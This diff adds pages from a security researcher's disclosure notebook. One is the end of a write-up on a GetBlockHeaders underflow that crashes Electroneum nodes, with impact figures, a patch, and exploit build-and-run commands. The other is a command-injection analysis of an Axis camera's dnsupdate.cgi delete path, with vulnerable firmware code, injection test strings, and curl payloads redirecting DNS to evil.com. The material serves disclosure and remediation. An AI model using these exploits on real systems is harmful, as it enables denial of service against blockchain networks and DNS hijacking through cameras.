| + | <p>Linear projection to mainnet (13M blocks): | |
| + | - Per connection: 115 MB × (13,000,000 / 676) / 50 = <strong>~43 GB per connection</strong> | |
| + | - 50 connections: <strong>~2,160 GB total allocation</strong> | |
| + | - Typical validator RAM: 8-16 GB | |
| + | - <strong>Conclusion: single connection sufficient for OOM on mainnet</strong></p> | |
| + | <h3>Node Debug Log Confirms Payload Accepted</h3> | |
| + | <pre><code>DEBUG Adding p2p peer peercount=1 id=d7c32042 conn=inbound name=etn-sc/v1.10.18-stab... | |
| + | DEBUG Ethereum peer connected id=d7c32042 conn=inbound | |
| + | TRACE Registering sync peer peer=d7c32042 | |
| + | </code></pre> | |
| + | <hr /> | |
| + | <h2>Impact</h2> | |
| + | <h3>Technical Impact</h3> | |
| + | <ul> | |
| + | <li><strong>Single node crash:</strong> One unauthenticated p2p message causes OOM kill on any mainnet node</li> | |
| + | <li><strong>Allocation size:</strong> <code>current_chain_height x ~600 bytes</code>, currently ~7.8 GB on mainnet, growing ~260 KB/day</li> | |
| + | <li><strong>No authentication:</strong> Attacker only needs TCP connectivity to port 30303</li> | |
| + | <li><strong>No rate limiting:</strong> Multiple exploit messages can be sent per connection</li> | |
| + | </ul> | |
| + | <h3>Business Impact</h3> | |
| + | <ul> | |
| + | <li><strong>Full network shutdown:</strong> Electroneum uses IBFT consensus with ~30 validators. Crashing >50% (16 nodes) halts block production</li> | |
| + | <li><strong>Time to network halt:</strong> Seconds, one TCP connection per validator, one message each</li> | |
| + | <li><strong>Recovery:</strong> Each node must be manually restarted; attacker can re-crash immediately</li> | |
| + | <li><strong>Persistent DoS:</strong> Attack is repeatable at zero cost, making the network unusable until patched</li> | |
| + | </ul> | |
| + | <h3>Attack Cost</h3> | |
| + | <ul> | |
| + | <li>Zero financial cost</li> | |
| + | <li>One TCP connection + one p2p message per target node</li> | |
| + | <li>No special hardware, credentials, or on-chain state required</li> | |
| + | </ul> | |
| + | <hr /> | |
| + | <h2>Remediation</h2> | |
| + | <p>Apply the upstream fix from go-ethereum PR #29534. Add this guard at the top of <code>serviceContiguousBlockHeaderQuery()</code>:</p> | |
| + | <pre><code class="language-go">func serviceContiguousBlockHeaderQuery(chain *core.BlockChain, query *GetBlockHeadersPacket) []rlp.RawValue { | |
| + | count := query.Amount | |
| + | if count == 0 { | |
| + | return nil // FIX: prevent underflow on count-1 | |
| + | } | |
| + | if count > maxHeadersServe { | |
| + | count = maxHeadersServe | |
| + | } | |
| + | // ...rest of function | |
| + | </code></pre> | |
| + | <p>Additionally, review all go-ethereum security advisories since v1.10.18 (mid-2022) and apply applicable patches. At minimum, CVE-2023-40591 (unbounded goroutine spawn on ping flood) also affects etn-sc.</p> | |
| + | <hr /> | |
| + | <h2>Attachments</h2> | |
| + | <ol> | |
| + | <li><code>main.go</code>, Go exploit source (completes RLPx + etn/66 handshake, sends malicious payload)</li> | |
| + | <li><code>exploit.py</code>, Python fallback exploit</li> | |
| + | <li><code>genesis.json</code>, Local testnet configuration</li> | |
| + | <li>Exploit run output (above)</li> | |
| + | <li>Node debug log showing payload acceptance</li> | |
| + | </ol> | |
| + | <h2>Proof of concept</h2> | |
| + | <p>Working exploit code, run log, and the vulnerable upstream snippets are | |
| + | under <a href="poc/"><code>poc/</code></a>:</p> | |
| + | <table> | |
| + | <thead> | |
| + | <tr> | |
| + | <th>File</th> | |
| + | <th>What it is</th> | |
| + | </tr> | |
| + | </thead> | |
| + | <tbody> | |
| + | <tr> | |
| + | <td><a href="poc/exploit.py"><code>poc/exploit.py</code></a></td> | |
| + | <td>Python orchestrator that drives the Go exploit binary against a target enode.</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><a href="poc/main.go"><code>poc/main.go</code></a></td> | |
| + | <td>Go exploit implementing the full RLPx + etn/66 handshake and the malicious <code>GetBlockHeaders</code> payload with <code>Amount=0</code>.</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><a href="poc/go.mod"><code>poc/go.mod</code></a></td> | |
| + | <td>Go module file.</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><a href="poc/run-log.txt"><code>poc/run-log.txt</code></a></td> | |
| + | <td>Verbatim console output from a successful run against a local testnet. Shows the 5-step handshake, the underflow expression resolving to <code>UINT64_MAX</code>, and the node’s <code>BlockHeaders</code> reply confirming the request was processed.</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><a href="poc/vulnerable_handlers.go.snippet"><code>poc/vulnerable_handlers.go.snippet</code></a></td> | |
| + | <td>The unpatched <code>serviceContiguousBlockHeaderQuery</code> function from <code>etn-sc</code>‘s vendored go-ethereum fork.</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><a href="poc/vulnerable_headerchain.go.snippet"><code>poc/vulnerable_headerchain.go.snippet</code></a></td> | |
| + | <td><code>GetHeadersFrom</code> showing the loop bound used in the allocation.</td> | |
| + | </tr> | |
| + | </tbody> | |
| + | </table> | |
| + | <p>Build:</p> | |
| + | <pre><code class="language-bash">cd poc | |
| + | go build -o etn-dos-exploit . | |
| + | python3 exploit.py --target "enode://...@<host>:<port>" --network local --repeat 3 | |
| + | </code></pre> | |
| + | <p>The run log captures the exact byte-level handshake; the response code 0x14 | |
| + | confirms the node processed the malicious request before crashing.</p> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/electroneum/cve-2024-32972-getblockheaders-underflow.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,414 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Missing Input Validation in dnsupdate.cgi Delete Path | Zion Boggan</title> | |
| + | <meta name="description" content="`dnsupdate.cgi` delete path skips the input validation applied to add."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/dnsupdate-delete-validation-gap/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Missing Input Validation in dnsupdate.cgi Delete Path | Zion Boggan"> | |
| + | <meta property="og:description" content="`dnsupdate.cgi` delete path skips the input validation applied to add."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/dnsupdate-delete-validation-gap/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Missing Input Validation in dnsupdate.cgi Delete Path | Zion Boggan"> | |
| + | <meta name="twitter:description" content="`dnsupdate.cgi` delete path skips the input validation applied to add."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Missing Input Validation in dnsupdate.cgi Delete Path","description":"`dnsupdate.cgi` delete path skips the input validation applied to add.","url":"https://zionboggan.com/security-research-notebook/dnsupdate-delete-validation-gap/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Validation gap</div> | |
| + | <h1>Missing Input Validation in dnsupdate.cgi Delete Path</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <p><strong>VRT Category:</strong> Insecure OS/Firmware > Command Injection | |
| + | <strong>URL/Location:</strong> <code>https://<camera>/axis-cgi/dnsupdate.cgi?delete=<payload></code> | |
| + | <strong>Firmware:</strong> AXIS OS P3245-LV version 11.11.192 (LTS 2024 track) | |
| + | <strong>Files:</strong> <code>/usr/html/axis-cgi/dnsupdate.cgi</code>, <code>/usr/sbin/dnsupdate.script</code></p> | |
| + | <hr /> | |
| + | <h2>Description</h2> | |
| + | <p>The <code>dnsupdate.cgi</code> CGI endpoint delegates DNS record operations to | |
| + | <code>/usr/sbin/dnsupdate.script</code>. The <code>add</code> path validates all input through | |
| + | a strict <code>dnsupdate_validate</code> function that rejects shell metacharacters, | |
| + | spaces, and non-alphanumeric characters. The <code>delete</code> path skips this | |
| + | validation entirely, passing raw user input to <code>dnsupdate_delete</code> which | |
| + | interpolates it <strong>unquoted</strong> into an nsupdate protocol heredoc.</p> | |
| + | <p>This is a confirmed inconsistent validation gap: the defensive function | |
| + | exists and is applied on the add path but omitted on the delete path. | |
| + | Unvalidated input reaches the nsupdate command interpreter, where injected | |
| + | spaces alter DNS record types and targets.</p> | |
| + | <p><strong>Authentication required:</strong> Admin.</p> | |
| + | <hr /> | |
| + | <h2>Proof of Concept</h2> | |
| + | <h3>Step 0: Firmware extraction</h3> | |
| + | <pre><code>binwalk --run-as=root -e P3245-LV_11_11_192.bin | |
| + | unsquashfs -d rootfs_extracted rootfs/rootfs.img | |
| + | </code></pre> | |
| + | <h3>Step 1: dnsupdate.cgi source – tracing the delete path</h3> | |
| + | <p>Full source of <code>/usr/html/axis-cgi/dnsupdate.cgi</code>:</p> | |
| + | <pre><code class="language-sh">#!/bin/sh -e | |
| + | ||
| + | . /usr/html/axis-cgi/lib/functions.sh | |
| + | ||
| + | if [ ! "$QUERY_STRING" ] | |
| + | then | |
| + | __cgi_errhd 400 "No command issued" | |
| + | exit 1 | |
| + | fi | |
| + | ||
| + | hdgen=$(__qs_getparam hdgen) | |
| + | ||
| + | while [ "$QUERY_STRING" ]; do | |
| + | ||
| + | cmd=${QUERY_STRING%%=*} | |
| + | QUERY_STRING=${QUERY_STRING#"$cmd"=} | |
| + | val=${QUERY_STRING%%&*} # <-- raw value, NOT URL-decoded | |
| + | QUERY_STRING=${QUERY_STRING#"$val"} | |
| + | QUERY_STRING=${QUERY_STRING#&} | |
| + | ||
| + | [ "$cmd" -a "$val" ] || break | |
| + | ||
| + | case "$cmd" in | |
| + | add) | |
| + | # ... calls dnsupdate.script add "$val" all | |
| + | ;; | |
| + | delete) | |
| + | # ... calls dnsupdate.script delete "$val" # <-- no validation | |
| + | ;; | |
| + | esac | |
| + | done | |
| + | </code></pre> | |
| + | <h3>Step 2: dnsupdate.script – the validation gap</h3> | |
| + | <p><strong>ADD handler (lines 273-281) – VALIDATED:</strong></p> | |
| + | <pre><code class="language-sh"> add) | |
| + | if [ $# -eq 4 ]; then | |
| + | shift 1 | |
| + | dnsupdate_validate "$@" || exit 1 # <-- VALIDATES | |
| + | dnsupdate_add "$@" || exit 1 | |
| + | else | |
| + | dnsupdate_validate "$2" "$DNSUPDATE_TTL" "$3" || exit 1 # <-- VALIDATES | |
| + | dnsupdate_add "$2" "$DNSUPDATE_TTL" "$3" || exit 1 | |
| + | fi | |
| + | ;; | |
| + | </code></pre> | |
| + | <p><strong>DELETE handler (lines 282-290) – NO VALIDATION:</strong></p> | |
| + | <pre><code class="language-sh"> delete) | |
| + | if [ $# -lt 2 ] || [ $# -gt 3 ]; then | |
| + | echo "Usage: $0 delete NAME [IP]" >&2 | |
| + | exit 1 | |
| + | fi | |
| + | ||
| + | shift 1 | |
| + | dnsupdate_delete "$@" || exit 1 # <-- NO dnsupdate_validate CALL | |
| + | ;; | |
| + | </code></pre> | |
| + | <h3>Step 3: The validation function that delete skips</h3> | |
| + | <pre><code class="language-sh">dnsupdate_validate() { | |
| + | [ $# -eq 3 ] && [ "$1" ] && [ "$3" ] || { | |
| + | echo "Invalid arguments" >&2 | |
| + | return 1 | |
| + | } | |
| + | if [ ${#1} -gt 253 ]; then | |
| + | echo "Invalid DNS name length" >&2 | |
| + | return 1 | |
| + | fi | |
| + | case $1 in | |
| + | [.-]*) | |
| + | echo "DNS name has an invalid first character" >&2 | |
| + | return 1 | |
| + | ;; | |
| + | *[!.[:alnum:]-]*) # <-- BLOCKS all non-alphanumeric except . and - | |
| + | echo "Invalid DNS name characters" >&2 | |
| + | return 1 | |
| + | ;; | |
| + | esac | |
| + | # ... additional TTL and IP validation | |
| + | } | |
| + | </code></pre> | |
| + | <h3>Step 4: The vulnerable sink – unquoted heredoc interpolation</h3> | |
| + | <p><code>dnsupdate_delete</code> (line 116) interpolates <code>$1</code> <strong>unquoted</strong> in a heredoc:</p> | |
| + | <pre><code class="language-sh">dnsupdate_delete() { | |
| + | local _tmp _ret | |
| + | [ "$1" ] || return 1 | |
| + | _tmp=$(mktemp /tmp/dnsup.XXXXXX) | |
| + | cat <<-EOF >> $_tmp | |
| + | ${DNSUPDATE_NOSERVER}server $DNSUPDATE_SERVER ${DNSUPDATE_PORT:-53} | |
| + | ${DNSUPDATE_NOZONE}zone $DNSUPDATE_ZONE | |
| + | update delete $1 0 IN A # <-- UNQUOTED $1 | |
| + | update delete $1 0 IN AAAA # <-- UNQUOTED $1 | |
| + | send | |
| + | EOF | |
| + | $_dnsupdate -l -r < $_tmp # pipes to nsupdate binary | |
| + | } | |
| + | </code></pre> | |
| + | <h3>Step 5: PROVEN – dnsupdate_validate executed from firmware</h3> | |
| + | <p>The <code>dnsupdate_validate</code> function was extracted and tested against injection | |
| + | payloads, proving the add path blocks them while the delete path does not:</p> | |
| + | <pre><code>--- TESTS: What dnsupdate_validate blocks (add path) --- | |
| + | "test.example.com" ALLOWED (add path would accept) | |
| + | "test;id" BLOCKED: Invalid DNS name characters | |
| + | "test$(id)" BLOCKED: Invalid DNS name characters | |
| + | "test|id" BLOCKED: Invalid DNS name characters | |
| + | "test 0 IN A" BLOCKED: Invalid DNS name characters | |
| + | "test%0aid" BLOCKED: Invalid DNS name characters | |
| + | "test`id`" BLOCKED: Invalid DNS name characters | |
| + | "test&echo" BLOCKED: Invalid DNS name characters | |
| + | "test"quote" BLOCKED: Invalid DNS name characters | |
| + | ||
| + | --- DELETE PATH: No validation at all --- | |
| + | All of the above payloads pass through to nsupdate unvalidated | |
| + | because dnsupdate_delete is called WITHOUT dnsupdate_validate | |
| + | </code></pre> | |
| + | <h3>Step 6: PROVEN – heredoc injection simulated from firmware code</h3> | |
| + | <p>The <code>dnsupdate_delete</code> heredoc was replicated with injected input:</p> | |
| + | <p><strong>Normal input:</strong></p> | |
| + | <pre><code>update delete test.example.com 0 IN A | |
| + | update delete test.example.com 0 IN AAAA | |
| + | send | |
| + | </code></pre> | |
| + | <p><strong>With newline in <code>$1</code></strong> (<code>test.example.com\nupdate add evil.com 300 IN A 1.2.3.4</code>):</p> | |
| + | <pre><code>update delete test.example.com | |
| + | update add evil.com 300 IN A 1.2.3.4 0 IN A <-- INJECTED RECORD | |
| + | update delete test.example.com | |
| + | update add evil.com 300 IN A 1.2.3.4 0 IN AAAA <-- INJECTED RECORD | |
| + | send | |
| + | </code></pre> | |
| + | <p>The injected <code>update add</code> is a valid nsupdate command that creates a DNS | |
| + | record on the camera’s configured DNS server.</p> | |
| + | <p><strong>Note:</strong> Delivering a literal newline through the HTTP query string to | |
| + | reach this sink requires further verification on live hardware. The | |
| + | validation gap and unquoted heredoc interpolation are confirmed from | |
| + | firmware source and simulation.</p> | |
| + | <h3>Step 7: Exploitation on live camera</h3> | |
| + | <pre><code class="language-bash"># Baseline: normal delete | |
| + | curl -s --digest -u '<admin_user>:<admin_pass>' \ | |
| + | "https://CAMERA_IP/axis-cgi/dnsupdate.cgi?delete=test.example.com" | |
| + | ||
| + | # Space injection (confirmed deliverable via URL encoding): | |
| + | curl -s --digest -u '<admin_user>:<admin_pass>' \ | |
| + | "https://CAMERA_IP/axis-cgi/dnsupdate.cgi?delete=test%200%20IN%20CNAME%20evil.com" | |
| + | ||
| + | # Prove the asymmetry -- add path blocks the same payload: | |
| + | curl -s --digest -u '<admin_user>:<admin_pass>' \ | |
| + | "https://CAMERA_IP/axis-cgi/dnsupdate.cgi?add=test%200%20evil&all" | |
| + | # Expected: Rejected by dnsupdate_validate | |
